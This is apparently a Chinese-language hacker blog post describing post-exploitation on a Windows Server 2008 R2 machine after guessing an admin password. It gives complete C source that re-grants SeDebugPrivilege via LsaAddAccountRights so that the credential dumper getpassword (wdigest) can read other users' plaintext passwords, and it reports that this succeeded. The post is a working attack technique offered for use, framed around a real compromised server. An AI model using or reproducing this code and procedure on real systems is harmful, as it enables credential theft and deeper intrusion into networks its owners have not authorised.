人品好猜到了08r2某个本地管理员的密码,shell下runas执行getpassword却返回以下错误信息:
Authentication Id:0;6798000 Authentication Package:Negotiate Primary User:administrator Authentication Domain:xxx OpenProcess : (0x00000005) 拒绝访问. n.a. (wdigest Error)
开始以为是UAC问题,执行whoami /all查看管理员组,显示为启用状态,Mandatory Label也是过了UAC的High。
BUILTIN\Administrators Alias S-1-5-32-544 必需的组, 启用于默认, 启用的组, 组的所有者 Mandatory Label\High Mandatory Level Label S-1-16-12288 必需的组, 启用于默认, 启用的组
之后注意到特权列表中居然没有SeDebugPrivilege,这服务器竟然把默认情况下administrators的Debug特权删掉了。翻了翻存档,找到了这段代码(前人之作,忘记出处是哪里了):
#include <stdio.h> #include <windows.h> #include <ntsecapi.h> typedef LONG NTSTATUS; #define NT_SUCCESS(status)((NTSTATUS)(status)>=0) #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) static void PrintWin32Error(char *message,DWORD dwMessageId) { char *errMsg; FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,dwMessageId,MAKELANGID(LANG_NEUTRAL,SUBLANG_DEFAULT),(LPTSTR)&errMsg,0,NULL); printf("%s: %s",message,errMsg); LocalFree(errMsg); return; } static PVOID GetFromToken(HANDLE TokenHandle,TOKEN_INFORMATION_CLASS TokenInformationClass) { DWORD needed=0; PVOID buf=NULL; DWORD error; BOOL errflag=FALSE; if(FALSE==GetTokenInformation(TokenHandle,TokenInformationClass,NULL,0,&needed)) { error=GetLastError(); if(error!=ERROR_INSUFFICIENT_BUFFER) { PrintWin32Error("GetTokenInformation() failed",error); errflag=TRUE; goto GetFromToken_exit; } } if(NULL==(buf=calloc(needed,1))) { fprintf(stderr,"calloc(%u,1) failed\n",needed); goto GetFromToken_exit; } if(FALSE==GetTokenInformation(TokenHandle,TokenInformationClass,buf,needed,&needed)) { PrintWin32Error("GetTokenInformation() failed",GetLastError()); errflag=TRUE; goto GetFromToken_exit; } GetFromToken_exit: if(errflag==TRUE) { if(buf!=NULL) { free(buf); buf=NULL; } } return(buf); } static BOOL AddPrivilege(LSA_HANDLE PolicyHandle,PSID AccountSid,LPWSTR PrivilegeName) { BOOL ret=FALSE; LSA_UNICODE_STRING UserRights; USHORT StringLength; NTSTATUS status; if(PrivilegeName==NULL) { goto AddPrivilege_exit; } StringLength=wcslen(PrivilegeName); UserRights.Buffer=PrivilegeName; UserRights.Length=StringLength * sizeof(WCHAR); UserRights.MaximumLength=(StringLength + 1) * sizeof(WCHAR); status=LsaAddAccountRights(PolicyHandle,AccountSid,&UserRights,1); if(status!=STATUS_SUCCESS) { PrintWin32Error("LsaAddAccountRights() failed",LsaNtStatusToWinError(status)); goto AddPrivilege_exit; } ret=TRUE; AddPrivilege_exit: return(ret); } static BOOL AddCurrentProcessPrivilege(LPWSTR PrivilegeName) { NTSTATUS status; BOOL ret=FALSE; LSA_HANDLE PolicyHandle=NULL; LSA_OBJECT_ATTRIBUTES ObjectAttributes; HANDLE CurrentProcessToken=NULL; PTOKEN_USER token_user=NULL; ZeroMemory(&ObjectAttributes,sizeof(ObjectAttributes)); status=LsaOpenPolicy(NULL,&ObjectAttributes,POLICY_ALL_ACCESS,&PolicyHandle); if(status!=STATUS_SUCCESS) { PrintWin32Error("LsaOpenPolicy() failed",LsaNtStatusToWinError(status)); goto AddCurrentProcessPrivilege_exit; } if(FALSE==OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &CurrentProcessToken)) { PrintWin32Error("OpenProcessToken() failed",GetLastError()); goto AddCurrentProcessPrivilege_exit; } if(NULL==(token_user=(PTOKEN_USER)GetFromToken(CurrentProcessToken,TokenUser))) { goto AddCurrentProcessPrivilege_exit; } if(FALSE==AddPrivilege(PolicyHandle, token_user->User.Sid, PrivilegeName)) { goto AddCurrentProcessPrivilege_exit; } ret=TRUE; AddCurrentProcessPrivilege_exit: if(NULL!=token_user) { free(token_user); token_user=NULL; } if(NULL!=CurrentProcessToken) { CloseHandle(CurrentProcessToken); CurrentProcessToken=NULL; } if(NULL!=PolicyHandle) { LsaClose(PolicyHandle); PolicyHandle=NULL; } return(ret); } int main() { if(AddCurrentProcessPrivilege(L"SeDebugPrivilege")){printf("ok");}else{printf("err");} }
添加特权之后再次runas执行,成功抓取到另一用户的明文。